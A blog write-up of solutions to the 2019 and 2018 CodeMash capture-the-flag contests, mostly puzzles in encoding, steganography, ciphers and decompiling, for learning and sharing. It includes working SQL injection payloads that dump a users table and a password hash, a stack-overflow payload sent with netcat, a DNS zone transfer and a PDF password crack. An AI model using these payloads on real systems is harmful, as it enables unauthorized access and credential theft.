Breaking down the CodeMash Capture the Flag (2019 Edition)
Capture the Flag returned to Codemash this year and provided a great deal of entertainment for all involved. It followed the same format as last year’s contest, where flags were released daily in the days leading up to the conference, with the last flag being revealed at 6pm on the second to last day of the conference.
The CTF had five easy, five medium, and five hard challenges. I will cover them in the order that they appear on the CTF website.
Codemash CTF 2019 - On Site Challenge
Clue
Games are played all night. This one online, but there, board. Code is history
Hint
There is a code hidden somewhere in the Kalahari.
Approach
This clue pointed us to the game room in the Kalahari. There was a QR code on the walls that takes you to Bill Sempf’s User Talk page on the OWASP website. One thing that stood out was that the page was recently modified. Looking at the history, there is a string that was removed:
Y20xOS1rNGxhLWhhOWktYzAwbC1wbzBM
The string stood out as a base64 encoded string. Decoding that string yields our flag:
cm19-k4la-ha9i-c00l-po0L
Codemash CTF 2019 - Cars
Clue
You have access to a web application which allows searching for car brands:
whale.hacking-lab.com:4290
Find a way to get the password of the user admin, and log on to get the flag
Hint
Can you find a way to make the search return more data than expected? What you might get, is not the password yet.
Approach
This takes us to a website with search bar, some content, and a login screen. Doing a basic search yields a table with two columns Model
and Value
. I entered a single quote into the text field and got a SQL error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
Since I know it is a MySQL instance, I can start attacking it. Since I want to get access to the data, I need to know the tables that are available. I then ran this query to get the schema:
' or 1=1 UNION SELECT TABLE_NAME, TABLE_NAME from INFORMATION_SCHEMA.TABLES; ##
Which appended the schema table to the end of the cars list. The table that stood out to me was the Users table. If I could get access to that, I could maybe get the password. I then attempted to get the column names for the Users table, as I want to get the login information:
' or 1=1 UNION SELECT TABLE_NAME, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME='Users'; ##
This got me three columns in the table id
, username
, and password_hash
. From there I ran a script to get the username
and password_hash
out of the database:
' or 1=1 UNION SELECT Username, password_hash from Users ; ##
This yielded me a bunch of users, but the one that I cared most about was admin
:
admin 6ad37ce00d4cf83f1c2339ef7964d47af2b68720
Putting this into the SANs reverse hash calculator gets me the password dodge123
. After logging in, I get a page with the flag:
cm19-Unio-nBas-3dis-C00l
Codemash CTF 2019 - Ghost Text
Clue
Ghost text is … invisible!
Hint
AA_AAA_ = 01001
Approach
The hint on this particular one is really required to figure out the problem. I opened the text file in a hex editor and found that there were extra non-printable characters in the file. My interpretation of the hint is that all non-printable characters were a 1 and for all n
consecutive characters, we would have n-1
0s.
So I wrote a little C# script to do this for me:
StringBuilder sb = new StringBuilder();
var bytes = System.IO.File.ReadAllBytes(@"C:\Users\passp\Downloads\ghost_text.txt");
var consecutive = 0;
for (int i = 3; i < bytes.Length; i++)
{
if (bytes[i] == 0xE2)
{
if (consecutive>1)
{
sb.Append('0', consecutive - 1);
}
consecutive = 0;
sb.Append('1');
if (bytes[i] == 0xE2)
i += 2;
}
else
{
consecutive++;
}
}
for (int i = 1; i < sb.Length+1; i++)
{
Console.Write(sb[i-1]);
}
Console.ReadLine();
This yields the output:
011000110110110100110001001110010010110101110010001100110011010001100100001011010110001001110100011101110110111000101101011101000110100001100101010000110010110101001000010000010101001001010011
Pasting that into an online binary to text converter, yields our flag:
cm19-r34d-btwn-theC-HARS
Codemash CTF 2019 - Stacked Up
Clue
A vulnerable service is running here:
nc whale.hacking-lab.com 5777
You have the binary of the service. Analyze it, find a vulnerability, and then exploit the server to get the flag!
Hint
What happens if you input a veeeeeeeeeery long string?
Approach
Based on the name of this challenge and the hint, this appears to be a stackoverflow. I opened this up in IDA and saw the main function code:
var_410= qword ptr -410h
var_404= dword ptr -404h
s= byte ptr -400h
push rbp
mov rbp, rsp
sub rsp, 410h
mov [rbp+var_404], edi
mov [rbp+var_410], rsi
lea rdi, s ; "Input, please! >>----------> "
call _puts
mov rax, cs:__bss_start
mov rdi, rax ; stream
call _fflush
lea rax, [rbp+s]
mov rdi, rax
mov eax, 0
call _gets
lea rax, [rbp+s]
mov rdi, rax ; s
call _puts
mov eax, 0
leave
retn
main endp
There is also a function called flag
in the binary, which reads a file called flag.txt:
push rbp
mov rbp, rsp
sub rsp, 410h
lea rsi, modes ; "r"
lea rdi, filename ; "flag.txt"
call _fopen
So our goal is to get this function called. Locally I created a flag.txt and then started hacking on the assembly. The address for the flag function is 0x0000000000400676
. Knowing that this is a 64-bit assembly is important to make sure we put the full address into the payload.
Looking at the main assembly, I see that s is allocated 0x400
or 1024 bytes. So I created a text file using a python script and decided to try and completely smash the stack:
python -c "print '\x76\x06\x40\x00\x00\x00\x00\x00'*200" > payload.txt
I piped the output of my payload to the local binary and got the contents of my flag.txt
:
cat payload.txt | ./stack
So then I tried with netcat
and got the result:
cm19-jUmp-inUP-th3S-tACK
*Note: After talking with others on this solution, a more targeted python script to overwrite a single instruction would be:
python -c "print 'a'*1032 + '\x76\x06\x40\x00\x00\x00\x00\x00'" > payload.txt
The extra 8 bytes move us far enough down the stack to overwrite the return address for the function.
Codemash CTF 2019 - The Parrot
Clue
Can you find the hidden parrot?
Hint
Opening the file with a tool other than a PDF viewer, could be helpful.
Approach
This is a password protected PDF, so we need to crack that first. I downloaded pdfcrack
on my kali VM and ran the following command (using one of the wordlists on the machine):
pdfcrack ./parrot.pdf -w /usr/share/wordlists/sqlmap.txt
This yields us the password cracker
. From there you open the PDF and just see a parrot, so maybe something is hidden behind it. I found an online image extractor that supports passwords, which yielded me the flag:
Codemash CTF 2019 - Krafty Kat
Clue
Krafty Kat implemented an RSA encryption. Can you spot a weakness, and decrypt the flag?
Hint
Perhaps this guy can help you?
Approach
This was a tricky one. The key was the modulus in the public key. To get the modulus, we can use OpenSSL to print it out:
openssl rsa -noout -inform PEM -modulus -pubin -in ../content/key.pem
Modulus=800000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000473
Converting that number to decimal gives us:
258536048570605626988915097172641057803353415992887757589736645808726151727194085610744190012322229640908553929414833022731988789391928353742297595957524280335918484224592037842886381777837922164216258913020883767452162759055614423529478656392491416399318604362756647059576165428708885769576577464120568116338612287783043168328279883802253392551292712278925133675758884573430117126518137049529478694956180472120065649305066144792948879520988172974401270565515875720597321219813209954571652637983550511681618170361995093036165713586725018263017699754932627926751512891645482818654590419836934782173099306176053375927411
Looking that number up in FactorDB tells us that it is prime.
The modulus is supposed to be the factor of two prime numbers (p and q). Since the modulus is prime, that means our numbers are that really large number above and 1. At this point it just takes math to get the other values needed for the RSA algorithm. Luckily there are tools out there that do this for you. One example is the RSACtfTool. *Note: This tool was actually updated during this CTF to solve our particular challenge, because it did not handle the modulus being prime prior to this competition.
Running the tool with our p
and q
:
./RsaCtfTool.py -p 0x800000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000473 -q 1 --uncipherfile ../flag.enc --publickey ../key.pem
Clear text : b'cm19-rRRr-SSSs-AaaA-f41l'
Since the tool also uses FactorDB to lookup the modulus, the command line can be even more simplified:
./RsaCtfTool.py --uncipherfile ../flag.enc --publickey ../key.pem
[+] Clear text : 'cm19-rRRr-SSSs-AaaA-f41l'
Codemash CTF 2019 - Dot Nutcracker
Clue
Can you crack this nut? Find the right password and make the binary reveal the flag!
Hint
If you think you have the right password, but the binary crashes, something small is missing. Take a closer look!
Approach
Since this is a .net exe, I immediately opened it in ILSpy. The main method looks like this:
Console.WriteLine("Yo wazzup! Give me the password! ");
int num = 3;
CryptoHelper cryptoHelper = new CryptoHelper();
while (num > 0)
{
Console.WriteLine($"You have {num}/3 attempt(s) left.");
Console.Write("Enter passphrase: ");
string text = Console.ReadLine();
string text2 = CryptoHelper.DecryptStringAES("EAAAAH5ZA4kASLVjLUsYmLK3h74KWmkS4BvBS61BuaD4lnyqdz3AO8/xfGO1atVdci0x1g==");
if (text != null && cryptoHelper.Equals(text2, text))
{
Console.WriteLine(string.Format("Decrypted Flag is: {0}", CryptoHelper.DecryptStringAES("EAAAAOlDKPcRaUj/ITV1q9IHN1bAQyUWxZqVob+G1gpmyoIJIPej1O3T4TWnRUndqp4NnA==", CryptoHelper.GetHashString(text2), text, text)));
Console.WriteLine("Press enter to quit");
Console.ReadLine();
Environment.Exit(1337);
}
num--;
Console.WriteLine("That's wrong.");
}
Console.WriteLine("SORRY, GAME OVER");
Console.WriteLine("Press enter to quit");
Console.ReadLine();
Environment.Exit(0);
I saved the project using ILSpy and then started writing out the results to the console. I started by writing out text2
, which is:
acrackeradaykeepsthedoctoraway
However, when I use that as the password, the application crashes. Upon some digging into the methods, I found that the equals call in the CryptoHelper class is tricky:
public bool Equals(string a, string b)
{
if (!b.Equals(a))
{
return a.Equals(b + "y");
}
return true;
}
Using the password of acrackeradaykeepsthedoctorawa
, yields our flag:
Decrypted Flag is: cm19-NuSS-kn4c-kker-GamE
Codemash CTF 2019 - Danger Zone
Clue
Can you enter the danger.zone, and find the flag?
Service listening on:
whale.hacking-lab.com:5553
Note: this is NOT about the web site danger.zone!
Hint
Find out what service is listening on the port. nmap could be helpful for this kind of fingerprinting.
Approach
This challenge was all about finding the right tools and getting the command line args right. As the hint suggests, we can use nmap
to scan that port to get more information.
nmap -p 5553 -T4 -A -v whale.hacking-lab.com
Yields the output (truncated for brevity):
PORT STATE SERVICE VERSION
5553/tcp open domain ISC BIND 9.9.5 (Debian Linux 8.0 (Jessie))
The command tells us that BIND (DNS) is running on that port. Now the zone
portion of the clue makes sense, since zones are a DNS concept. We can now use dig
to see what we can find out. I attempted a zone transfer and got the following:
dig AXFR danger.zone @whale.hacking-lab.com -p5553
; <<>> DiG 9.11.3-1ubuntu1.1-Ubuntu <<>> AXFR danger.zone @whale.hacking-lab.com -p5553
;; global options: +cmd
danger.zone. 604800 IN SOA danger.zone. admin.danger.zone.danger.zone. 2 604800 86400 2419200 604800
danger.zone. 604800 IN NS ns.danger.zone.
cm19-d4ng-rwil-lrob-Insn.danger.zone. 604800 IN A 10.0.13.37
ns.danger.zone. 604800 IN A 10.0.0.2
danger.zone. 604800 IN SOA danger.zone. admin.danger.zone.danger.zone. 2 604800 86400 2419200 604800
;; Query time: 161 msec
;; SERVER: 80.74.140.188#5553(80.74.140.188)
;; WHEN: Fri Jan 11 23:26:24 STD 2019
;; XFR size: 5 records (messages 1, bytes 193)
Here is our flag:
cm19-d4ng-rwil-lrob-Insn
Codemash CTF 2019 - Espresso
Clue
Espresso. What else?
Hint
Peek into the .class file, and find out what it is doing.
Approach
I took the java class file and uploaded it to an online decompiler. From there I got the java code:
package com.hackinglab.ctf;
import java.io.PrintStream;
public class Espresso { public Espresso() {} private static String key = "Stringab";
private static String cipher = "'>xgx47#)~Fp?8k4%IHsC9_a";
public static void main(String[] paramArrayOfString) {
if (paramArrayOfString.length != 1) {
System.out.println("You must enter the flag.");
System.exit(-1);
}
String str = paramArrayOfString[0];
System.out.println(str);
StringBuffer localStringBuffer = new StringBuffer();
for (int i = 0; i < cipher.length(); i++) {
localStringBuffer.append((char)(key.charAt(i % key.length()) - cipher.charAt(i) + 55));
}
if (localStringBuffer.toString().equals(str)) {
System.out.println("Flag correct, well done!");
} else {
System.out.println("Dude, that's wrong!");
}
}
}
I didn’t have a java dev environment handy, but I did have a C# environment, so I converted the guts of the code from JAVA to C# and got the following program, taking out the checks and just writing the output to the console:
public class Espresso
{
public Espresso() { }
private static String key = "Stringab";
private static String cipher = "'>xgx47#)~Fp?8k4%IHsC9_a";
public static void Main(String[] paramArrayOfString)
{
StringBuilder localStringBuffer = new StringBuilder();
for (int i = 0; i < cipher.Length; i++)
{
localStringBuffer.Append((char)((int)key[i % key.Length] - (int)cipher[i] + 55));
}
Console.WriteLine(localStringBuffer.ToString());
Console.ReadLine();
}
}
This program yields the result:
cm19-java-c0ff-eeba-be98
Codemash CTF 2019 - Mrs. Robot
Clue
Mrs. Robot has hidden a flag for you.
Connect to: http://whale.hacking-lab.com:4280
Hint
How can you tell search engines, not to scan your files?
Approach
The page that you hit gives you a textbox where you can enter text. Javascript then appears to MD5 the text and take you the {MD5}.html
page. The hint gives us a big clue that we should look at the robots.txt
file on that server. The contents of that file were:
User-agent: *
Disallow: /481065fd79b253104aeab5ca5c717cd5.html
Browsing to that page gives us the clue:
fatatu = pataje
Since I did last years CTF, I remember ROILA (but a google search also returns it as the first hit), so I look those words up and it yields word = winter
. Typing winter into the textbox takes us to f6432274349b5cb93433f8ed886a3f37.html
which contains our flag:
cm19-bOTs-haVe-brai-nZ33
Codemash CTF 2019 - Busted File
Clue
Mommy told you not to store your important files on those old diskettes. Can you repair the file?
Hint
Have you heard of magic numbers?
Approach
Any time I get a file from a CTF, the first thing I do is open it in a hex editor. When opening this file I see that the first four bytes are DE AD BE EF
, which is a classic magic number. Since I have worked with zip files in the past, I knew they started with PK
and then a version number. A quick google search got me the right values. So I replaced the DE AD BE EF
bytes with 50 4B 03 04
and was able to open the file.
This got us a smiling horse:
I opened this file with a hex editor and a search for the string cm
, yields our flag:
cm19-disk-3tte-N0st-algy
Codemash CTF 2019 - Unicorn
Clue
Ain’t a CTF without a unicorn!
Hint
Open the file with an appropriate editor.
Approach
The hint on this one is pretty blatant. I opened the svg in Inkscape and moved the unicorn out the way to reveal the flag.
Codemash CTF 2019 - Capture the Falg
Clue
This falg is easy to catch, isn’t it?
criSdmetio1AUdW9dP3n----
Hint
fa
lg
Approach
Based on the characters in the text, this appears to be some sort of transposition cipher. I loaded up my favorite cipher tool site and eventually landed on the caesar-box-cipher. Running it through will all possible sizes yields one of the strings being our flag:
cm19-reAd-itUP-Sid3-doWn
Codemash CTF 2019 - Esoteric Stuff
Clue
It’s getting a bit esoteric now. Ookay?!
....................!?.?...?....
...?...............?............
........?.?.?.?.!!?!.?.?.?.?!!!.
....................!.?.?.......
................................
!.................!.!!!!!!!!!!!!
!!!!!!!!!!!!!..?.?!!!!!!!!!!!!!!
!!!.............................
!.?.?.......!..?.?!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!.?.?.!!!!!!!.
.?.?........................!.!!
!!!!!!!!!!!!!!!!!!!!!...!.?.....
..!.?.!..?.?....................
........!.!!!!!!!!!!!!!!!!!!!!!!
!!!!!...........................
....!.?...........!.?.!..?.?!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!.?.?.......!..?.?..!...!.?.?.!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.
Hint
Have you heard of esoteric programming languages? Look at the challenge description closely, too.
Approach
The title indicates that this probably related to a programing language and the Ookay
in the clue helps us find out that this is related to the Ook
programming language. A quick search finds us an online interpreter for Ook. Pasting our text into that yields our flag.
cm19-es0c-odeI-sfuN-c0de
Codemash CTF 2019 - ASCII Art
Clue
I love ASCII art. What about you?
##99## #109## ##49### ####57# #### #### ##### ####### ## ##
#45 ## ### 97# ## 115 99# ########## ### ### ### ## ## ##
105 45 ## 67 ## ###79## ## ## ## ####### ##### #######
68 ## 69 ## 45 #97#### ## ## ## ####### ##### #######
### 49 110 ### ## 116 45# ## ## ## ## ## ## ## ## ##
#72### ##52## #82#### ####68# ## ## ## ## ## ####### ## ##
Hint — This one’s easy, really. Look at the numbers, what could they represent?
Approach
Since we know the format of the flags follow the pattern cm19-XXXX-XXXX-XXXX-XXXX, we will use that to our advantage. Looking at the numbers I see that it starts with 99
and 109
which are the ASCII code for c
and m
respectively. I used a text editor to get rid of the #
symbols and then pasted the text into an online converter to generate the string
cm19-asci-CODE-a1nt-H4RD
Breaking down the CodeMash Capture the Flag
Last year at Codemash they had the first Capture the Flag (CTF) and it was very successful. They decided to bring it back for 2018 and the format was changed a bit. The official site has all of the rules and information, but the basics of it were that a single puzzle was released at midnight in the 2 weeks leading up to the conference. This allowed people to solve them at a more leisurely pace and not have to cram them in during the conference. Also the puzzles this year are a bit easier (but still challenging), which makes them more accessible to the entire audience of codemash.
Now that the CTF is over and the winner has been crowned, I thought I would share my solutions, so others can learn and share how they solved the problems.
I created a GitHub repo for any of the custom code I wrote for the CTF.
Codemash CTF - 15 - P.A.L.M. Login
Hint
15 - P.A.L.M. Login ™
Folks at HOBO Authentication Systems implemented a new authentication system named P.A.L.M. Login
Prove that you can break it and find a pair of username and passcode to log on.
Approach
The login page contains a button and two inputs. When you put in text and hit the login button you get the text of nope
.
Looking at the javascript for the button click takes us to a function that does the following:
function checkEntries() {
var u = document.getElementById('puser').value;
var p = document.getElementById('ppass').value;
var used = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
var ok = false;
if (u === 'cavs') {
if (p > 0 && p.length == 10) {
ok = true;
for (i = 1; i <= 10; i++) {
var digit = p.charAt(i - 1);
var part = p.substring(0, i);
if (used[digit] != 0 || part % i != 0) {
ok = false
}
if (used[digit] == 0) {
used[digit] = 1
}
}
}
}
if (ok) {
document.location.href = 'palm_' + u + '_' + p + '.html'
} else {
alert('nope')
}
}
Looking at the code, the username needs to be cavs
and the password is a 10 digit number.
I started writing a brute force algorithm and trying to figure out the number that way, but I decided to see what I could find about the properties of the number.
It is a 10 digit number, where every digit is only used once and the first N digits must be divisible by N.
Plugging those requirements into google yield lots of results.
Our number is 3816547290. Put that in the form and it takes you a page named
palm_cavs_3816547290.html
With the text of:
Congrats!
cm18-zbIc-O4Zh-gmxl-r5J6
Codemash CTF - 14 - Security Regulations
Hint
14 - Security Regulations
Due to some new privacy regulations this flag had to be shred. The classification will be secret or topsecret depending on the content.
____-____-____-____-____
Left over shred inside the paper shredder
Approach
Following the link gives you shred text:
Shred 1:
Note: the other shreds are classified as «topsecret»!
cm18
Since the URL has a number in it, maybe we could change the 1 to a 2. Doing that results in shred text of:
Shred 2:
Note: the contents on this shred were sanitized!
XXXX-XXXX
The URL also contains the word secret
and there was mention in the clue of secret
and topsecret
, so if we change the URL to topsecret_challenge_shred2.html, we get the following text:
Shred 2
bWh0-VIkC
Uupdate the URL for #3 and we get the text:
Shred 3
cMf4-72jY
Combine them together for the flag of
cm18-bWh0-VIkC-cMf4-72jY
Codemash CTF - 13 - Alice
Hint
13 - Alice
Follow the white rabbit.
With a hint image of:
Approach
Looking at the image, it is really big for a jpg. Also looking at the file in a text editor, you see mentions of other files:
Looking more deeply at the file, there appears to be a zip file after all of the bytes in the JPG. I extracted the bytes for the zip file using BE.HexEditor and copied them to a new file.
After extracting the zip you are given three files.
Opening each of those files in a text editor finds that there is exif data giving you hints:
In forest:
This image has a protected secret.
In meadow:
This meadow is all dried out. Check the water first.
In water:
steghide was here. With an empty passwor
I used an online steghide tool to extract the data.
Water yields the result:
You search the whole place but you can't find anything.
...
Now get out before you get flushed down.
Not much helpful in there, but Meadow yields the result:
So you think a mole can speak?!
...
Lucky you, this one can!
He's name is Fred and he tells you the passphrase:
The-Mad-Hatter
Forest appears to be password protected, so we take the password from meadow and apply it.
This yields the flag
Congratulations here is the flag!
cm18-xZl2-eHC5-axW3-ZkZG
Codemash CTF - 12 - On-site Challenge
Hint
12 - On-site Challenge
The flag for this challenge can only be found onsite at the conference, in the location seen on top of the backside of the elephant, in this picture.
When you arrive at CodeMash, find the code. Only attendees of CodeMash are eligible to win this competition, so don't share the code with anyone!
Approach
I have to admit, I spent more time on this one than I should have. I looked all around the elephant. If you look more closely at the picture, there is a reflection. Turning around I saw the flag (albeit with some clues from others):
Codemash CTF - 11 - Bacon!
Hint
11 - Bacon!
Get the bacon!
Approach
This is a zip file that contains a git repository. Which contains a zip file, which contains a git repository, and so on and so forth. Looking at the git repository, it looks like there is a deleted file, so if we reset the repository, the file is restored.
Since there is a pattern to the names, it should be pretty easy to script.
Param([int]$startId)
Add-Type -assembly "system.io.compression.filesystem"
$currId = $startId;
do
{
$next = ($currId-1).ToString().PadLeft(4,"0")
$currStr = $currId.ToString().PadLeft(4,"0")
[io.compression.zipfile]::ExtractToDirectory("D:\temp\cmgit\$currStr\$next.zip", "D:\temp\cmgit")
cd "D:\temp\cmgit\$next"
git reset --hard
$currId = $currId -1;
} While( $currId -gt 0)
Then I can invoke the script using
.\1000.ps1 1000
This worked for the first 100 entries and then the format changed. For number 901
, it skipped 900
and went to 0899.zip
. I renamed folder 0901
to 0900
and continued on.
.\1000.ps1 900
This worked until 0613
where the zip file simply contained an image named trunk.jpg:
After a bit of playing and seeing that there were multiple commits on the branch, I reset to 2 commits back (git checkout HEAD~2
) and the zip file followed our pattern again.
.\1000.ps1 0613
This worked until 278
which had an image named scooter.jpg
and a zip file:
Checking the branches, there is a new branch called blaster
:
λ git branch -l
blaster
* master
Switch to that branch and continue on:
.\1000.ps1 278
That worked until 0044, which wasn’t a valid git repository. I went back to the 0045 directory and tried to extract the zip file and was prompted for a passowrd. The original file name offered a hint on where to look:
Doing a git log
on the 0045 folder yields:
commit b364135b78a640c2889dc1fc44e5e1c3326b8cd2 (HEAD -> master)
Author: Gorilla [email protected]
Date: Thu Dec 7 09:42:54 2017 -0500
Commit committed. Pass is fluffy99
Reset the git repo again and continue on.
.\1000.ps1 0044
This leads us to folder 0001
, which has a flag image inside it:
Codemash CTF - 10 - Chest
Hint
10 - Chest
Can you find the flag inside of the chest?
chest Approach —
Looking at the chest, it appears to be an ELF executable. However, opening the executalbe in a text editoring, I was able to get the entire string table and just copy and paste that out. I replaced the spaces with newlines and opened in excel. Sorting the file made it really easy to search.
Looking at the flags, there are plenty of red herrings in there, but they are pretty obvious. They have pirate themed text in them:
cm18-mQmX-bUoC-rust-ykey // rusty key
cm18-lYmV-bUoC-vXpa-rrot // parrot
cm18-bFaL-bUgo-lden-coin // golden coin
cm18-cHbG-bUfa-ncyb-oots // fancy boots
cm18-dIiI-bUsi-lver-coin // silver coin
cm18-eOdP-bUoC-orna-ment // ornament
cm18-fLkP-bUoC-vXXb-ones // bones
cm18-gMhS-bUoC-seas-hell // sea shell
cm18-hPnR-bUoC-vXje-wels // jewels
cm18-iPnV-fanc-yban-dana // fancy bandana
cm18-jWqS-bUon-ylon-flag // nylon flag
cm18-kOlV-bbot-tleo-frum // bottle of rum
cm18-Ml2l-bUoC-vXXE-Fc8c //??? This is our flag
Codemash CTF - 9 - Meow
Hint
09 - Meow!
Can you lure the cat out of the hiding place?
Approach
Opening the PDF in a hex editor and searching for the string image
you see that there appears to be multiple images in the PDF.
There are plenty of online tools to extract the images from the PDF: http://www.pdfaid.com/ExtractImages.aspx
One of the images from the PDF is our flag.
Codemash CTF - 8 - Happy Eyes
Hint
08 - Lock
The key for that lock got lost.
If you are good at lock picking you will find the flag.
Lock.class
Approach
A .class file is a java compiled file, so I simply uploaded the file to an online decompiler and got the following code:
package com.hackinglab.ctf;
import java.io.PrintStream;
public class Lock { public Lock() {} private static String key = "lockpickingisfun";
private static String cipher = "?8hiyKT5fw*W^J~art3t.47i";
public static void main(String[] args) {
if (args.length != 1) {
System.out.println("Provide codeword to open the lock!");
System.exit(-1);
}
String input = args[0];
StringBuffer codeword = new StringBuffer();
for (int i = 0; i < cipher.length(); i++) {
codeword.append((char)(key.charAt(i % key.length()) - cipher.charAt(i) + 54));
}
if (codeword.toString().equals(input)) {
System.out.println("Correct codeword! The Lock is open!");
} else {
System.out.println("Wrong codeword!");
}
}
}
I took the guts of the code and re-worked it into a small C# app to give me the correct output.
private static String key = "lockpickingisfun";
private static String cipher = "?8hiyKT5fw*W^J~art3t.47i";
public static void Main(String[] args)
{
String input = key; ;
StringBuilder codeword = new StringBuilder();
for (int i = 0; i < cipher.Length; i++)
{
codeword.Append((char)(key[(i % key.Length)] - cipher[i] + 54));
}
Console.WriteLine(codeword.ToString());
Console.ReadLine();
}
Codemash CTF - 7 - Happy Eyes
Hint
07 - Happy Eyes
Barbara really loves to chat with all friends.
To express joy they use the characters ^^ which represent eyes of a smiling face.
Can you find this happy flag?
Hint: Offset by 2
1xT-Gcm8FV-5cYN-iBc-syHW
Approach
This one is tricky. The offset 2 indicates that there is a tool out there that takes an input. Looking at the text, it contains c
, m
, 1
, and 8
, so it may just be a scramble of the text. After playing with a lot of tools online, I found a super-tool that has all sorts of cipher varieties:
After that, another hint came along from the @codemashctf twitter account:
A big dropoff in US submissions of challenge 7 answers… Just find the right tool to get the job done! Are you on the fence? Don't let these Europeans scare you off, they can't win any way.
— CodeMash CTF (@CodeMashCTF) January 4, 2018
The hint was subtle, but the On the fence
portion just didn’t fit. A quick search of the ciphers that contain fence, and you find the Rail Fence cipher. I found a tool that included the offset option.
Setting the offset to 2 results in:
cm18-FxVs-T5yc-YHNG-WicB
Codemash CTF - 6 - Witchcraft
Hint
06 - Witchcraft
I was just messing around with my magic wand trying out some new spells and all of a sudden the flag was gone.
All I was left with is the following:
363336643331333832643438363537373432326436383530
333137323264346337393738333932643635373035343465
Can you undo my spell and get the flag?
Approach
The first thing that jumped out to me on this one is the number of 3
s in the text. Obviously this is some sort of encoded string. Taking the first few bytes 36 33
as hex numbers and convert them to a string 63
. 63
is the ascii code for c
and since I knew all of the flags started with cm, I definitely had a lead.
I wrote a small script to process through the entire string:
static void Main(string[] args)
{
var input = "363336643331333832643438363537373432326436383530333137323264346337393738333932643635373035343465";
Console.WriteLine(HexToString(input));
Console.WriteLine(HexToString(HexToString(input)));
Console.ReadLine();
}
static string HexToString(string source)
{
StringBuilder sb = new StringBuilder();
for(int i=0; i<source.Length; i+=2)
{
sb.Append(Convert.ToChar(int.Parse( source.Substring(i, 2), System.Globalization.NumberStyles.HexNumber)));
} return sb.ToString();
}
This yields the output:
636d31382d486577422d685031722d4c7978392d6570544e
cm18-HewB-hP1r-Lyx9-epTN
Codemash CTF - 5 - Bools for Fools
Hint
05 - Bools for fools
Calculate this!
((not(a) and b) or c) xor d
Approach
The hint is pretty obvious that you need to do some boolean operations on the attached files. To start, I load the text and get rid of all of the whitespace, so I am just dealing with the 1s and 0s. I then wrote functions for each of the operatoins (not, and, or, and xor)
Here is the not
implementation as an example. See the full source on GitHub
public static string Not(string input)
{
var result = new StringBuilder();
foreach (var s in input)
{
Validate(s);
if (s == '1')
{
result.Append("0");
}
else if (s == '0')
{
result.Append("1");
}
else
{
throw new Exception();
}
}
return result.ToString();
}
Once I had all of that wired up, I ended up with the result of:
1111111000100110001111111
1000001011100011001000001
1011101010000010101011101
1011101001001010001011101
1011101011101100101011101
1000001010101101001000001
1111111010101010101111111
0000000010110011100000000
1101001100011100001110110
0111110011011000111101001
0000101010011100110101001
0011010111111101110111010
1101011000110101111101010
0100100101010100111001011
1001001010010110100010101
0100010011010110000101001
1111111100101101111110101
0000000010001010100010101
1111111011111111101011111
1000001001001010100010110
1011101001001110111110010
1011101010110101000110000
1011101000101111000011001
1000001011011100010100000
1111111010100001100000111
I tried various encodings and translations on this data, until we got a hint from CodeMashCTF:
Challenge 5 is all that QR'd. (pun intended)) After you finish your calculations for challenge 5 - you may notice a picture forming in the matrix. It may help to mark all cells with a 1, black, and all cells with a 0, white…
— CodeMash CTF (@CodeMashCTF) January 2, 2018
Now it is obvious that this represents a QR code. I wrote a little code to write data to an image:
public static string Format(string input)
{
var bmp = new System.Drawing.Bitmap(25, 25);
var g = System.Drawing.Graphics.FromImage(bmp);
var whitepen = new Pen(Brushes.White);
var blackpen = new Pen(Brushes.Black);
var row = 0;
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.Length; i++)
{
if (i % 25 == 0 && i != 0)
{
row++;
sb.Append("\r\n");
}
sb.Append(input[i] == '1' ? "1" : "0");
var pen = input[i] == '1' ? blackpen : whitepen;
g.DrawRectangle(pen, i % 25, row, 1, 1);
}
bmp.Save("D:\\temp\\cm\\qr.bmp");
g.Dispose();
bmp.Dispose();
return sb.ToString();
}
The output image looks like this:
Codemash CTF - 4 - Super Eyesight
Hint
Can you see what others cannot?
Here is an image to prove your super eyesight.
Approach
I took the image and started playing with various settings in paint.net. After playing for a bit, I adjusted the levels and found that the flag was hidden below the squirrel (that’s a sentence I never thought I would write).
Codemash CTF - 3 - The Riddler
Hint
03 - 1337 Riddler
1337 r1ddler h4s a puzzl3 f0r u 2 solve!
H3 1s l1st3n1ng 0n th3 <i>BEST</i> p0r7 on this s3rv3r!
Approach
The clue in this puzzle to get your started is that you need to connect to an open port on the server.
Using telnet, I connected to the server on port 8357 (BEST in l33t 5p34k):
telnet> o codemash.hacking-lab.com 8357
Trying 80.74.140.117...
Connected to codemash.hacking-lab.com.
Escape character is '^]'.
Make an educated guess, dude:
1
I need 20 digits, dude!
Connection closed by foreign host.
20 digits??!? This is going to take a while to do by hand. Let’s put in 20 digits and see what happens:
Make an educated guess, dude:
11111111111111111111
0<
As I was working this out, the @codemashctf account sent out a hint.
For challenge 3: The advice I am going to give at the precompiler: The first # is 7. Try once with 20 9's then a 2nd time with 20 7's and see the difference in what is returned. the # and symbol that is returned does mean something. 1234567890, How to try, is up to you though.
— CodeMash CTF (@CodeMashCTF) December 31, 2017
So, I tried a 7 followed by all 1s:
Make an educated guess, dude:
71111111111111111111
1<
And then a 9 followed by all 1s:
Make an educated guess, dude:
91111111111111111111
0>
Based on the few things I have tried, it appears that the number is the number of characters that are correct and the <
and >
indicate if the next number is larger or smaller than the number you input.
We could manually walk through the logic and eventually solve this, but, it could also be scripted. Here is a quick C# console app I put together to do this:
static void Main(string[] args)
{
int knownCount = 1;
string known = "7";
while (true)
{
bool found = false;
foreach (var guess in GetGuesses(known))
{
TcpClient client = new TcpClient("codemash.hacking-lab.com", 8357);
var s = client.GetStream();
ReadHeader(s);
